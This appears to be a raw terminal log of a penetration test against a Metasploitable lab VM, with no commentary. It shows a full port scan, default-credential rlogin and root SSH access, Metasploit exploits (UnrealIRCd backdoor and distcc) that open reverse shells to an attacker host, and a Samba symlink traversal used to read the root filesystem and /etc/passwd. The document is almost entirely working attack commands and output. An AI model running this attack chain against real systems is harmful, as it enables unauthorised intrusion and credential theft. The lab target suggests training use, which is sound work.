root@PQ:~# nmap -p0-65535 192.168.111.146 Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-18 12:59 CST Nmap scan report for bogon (192.168.111.146) Host is up (0.00013s latency). Not shown: 65506 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 25/tcp open smtp 53/tcp open domain 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 512/tcp open exec 513/tcp open login 514/tcp open shell 1099/tcp open rmiregistry 1524/tcp open ingreslock 2049/tcp open nfs 2121/tcp open ccproxy-ftp 3306/tcp open mysql 3632/tcp open distccd 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 6697/tcp open ircs-u 8009/tcp open ajp13 8180/tcp open unknown 8787/tcp open msgsrvr 34609/tcp open unknown 35752/tcp open unknown 39086/tcp open unknown 48560/tcp open unknown MAC Address: 00:0C:29:5A:C7:D5 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 2.37 seconds
root@PQ:~# rlogin -l msfadmin 192.168.111.146 msfadmin@192.168.111.146's password: Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. To access official Ubuntu documentation, please visit: http://help.ubuntu.com/ No mail. Last login: Tue Jul 17 23:38:57 2018 msfadmin@metasploitable:~$ ls vulnerable msfadmin@metasploitable:~$
root@ubuntu:~# ssh-keygen Generating public/private rsa key pair. Enter file inwhich to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa. Your public key has been saved in /root/.ssh/id_rsa.pub.
root@ubuntu:~# ssh root@192.168.99.131 Last login: Fri Jun 1 00:29:33 2012 from 192.168.99.128 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOST 192.168.111.146 RHOST => 192.168.111.146 msf exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[*] Started reverse TCP double handler on 192.168.111.144:4444 [*] 192.168.111.146:6667 - Connected to 192.168.111.146:6667... :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname... [*] 192.168.111.146:6667 - Sending backdoor command... [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo p7QLbshaU0cGGxky; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket A [*] A: "p7QLbshaU0cGGxky\r\n" [*] Matching... [*] B is input...
msf > use exploit/unix/misc/distcc_exec msf exploit(unix/misc/distcc_exec) > set RHOST 192.168.111.146 RHOST => 192.168.111.146 msf exploit(unix/misc/distcc_exec) > exploit
[*] Started reverse TCP double handler on 192.168.111.144:4444 [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo rakAuTnjekOLfQAT; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "rakAuTnjekOLfQAT\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (192.168.111.144:4444 -> 192.168.111.146:46058) at 2018-07-18 14:11:34 +0800
whoami daemon id uid=1(daemon) gid=1(daemon) groups=1(daemon)
WARNING: The "syslog" option is deprecated Enter WORKGROUP\root's password: Anonymous login successful Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers tmp Disk oh noes! opt Disk IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian)) ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian)) Reconnecting with SMB1 for workgroup listing. Anonymous login successful Server Comment --------- ------- Workgroup Master --------- ------- WORKGROUP METASPLOITABLE msf > use auxiliary/admin/smb/samba_symlink_traversal msf auxiliary(admin/smb/samba_symlink_traversal) > set RHOST 192.168.111.146 RHOST => 192.168.111.146 msf auxiliary(admin/smb/samba_symlink_traversal) > set SMBSHARE tmp SMBSHARE => tmp msf auxiliary(admin/smb/samba_symlink_traversal) > exploit [*] 192.168.111.146:445 - Connecting to the server... [*] 192.168.111.146:445 - Trying to mount writeable share 'tmp'... [*] 192.168.111.146:445 - Trying to link 'rootfs' to the root filesystem... [*] 192.168.111.146:445 - Now access the following share to browse the root filesystem: [*] 192.168.111.146:445 - \\192.168.111.146\tmp\rootfs\ [*] Auxiliary module execution completed msf auxiliary(admin/smb/samba_symlink_traversal) > smbclient //192.168.111.146/tmp [*] exec: smbclient //192.168.111.146/tmp WARNING: The "syslog" option is deprecated Enter WORKGROUP\root's password: Anonymous login successful Try "help" to get a list of possible commands. smb: \> smb: \> cd Current directory is \ smb: \> cd rootfs smb: \rootfs\> ls . DR 0 Mon May 21 02:36:12 2012 .. DR 0 Mon May 21 02:36:12 2012 initrd DR 0 Wed Mar 17 06:57:40 2010 media DR 0 Wed Mar 17 06:55:52 2010 bin DR 0 Mon May 14 11:35:33 2012 lost+found DR 0 Wed Mar 17 06:55:15 2010 mnt DR 0 Thu Apr 29 04:16:56 2010 sbin DR 0 Mon May 14 09:54:53 2012 initrd.img R 7929183 Mon May 14 11:35:56 2012 home DR 0 Fri Apr 16 14:16:02 2010 lib DR 0 Mon May 14 11:35:22 2012 usr DR 0 Wed Apr 28 12:06:37 2010 proc DR 0 Wed Jul 18 11:34:58 2018 root DR 0 Wed Jul 18 11:37:15 2018 sys DR 0 Wed Jul 18 11:34:59 2018 boot DR 0 Mon May 14 11:36:28 2012 nohup.out R 7984 Wed Jul 18 11:37:17 2018 etc DR 0 Wed Jul 18 14:10:42 2018 dev DR 0 Wed Jul 18 11:35:53 2018 vmlinuz R 1987288 Fri Apr 11 00:55:41 2008 opt DR 0 Wed Mar 17 06:57:39 2010 var DR 0 Mon May 21 05:30:19 2012 cdrom DR 0 Wed Mar 17 06:55:51 2010 tmp D 0 Wed Jul 18 14:16:29 2018 srv DR 0 Wed Mar 17 06:57:38 2010
7282168 blocks of size 1024. 5428700 blocks available
smb: \rootfs\> cd etc smb: \rootfs\etc\> more passwd getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.oZuiCN (528.6 KiloBytes/sec) (average 528.6 KiloBytes/sec) root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh dhcp:x:101:102::/nonexistent:/bin/false syslog:x:102:103::/home/syslog:/bin/false klog:x:103:104::/home/klog:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash bind:x:105:113::/var/cache/bind:/bin/false postfix:x:106:115::/var/spool/postfix:/bin/false ftp:x:107:65534::/home/ftp:/bin/false postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false distccd:x:111:65534::/:/bin/false user:x:1001:1001:just a user,111,,:/home/user:/bin/bash service:x:1002:1002:,,,:/home/service:/bin/bash telnetd:x:112:120::/nonexistent:/bin/false proftpd:x:113:65534::/var/run/proftpd:/bin/false statd:x:114:65534::/var/lib/nfs:/bin/false snmp:x:115:65534::/var/lib/snmp:/bin/false
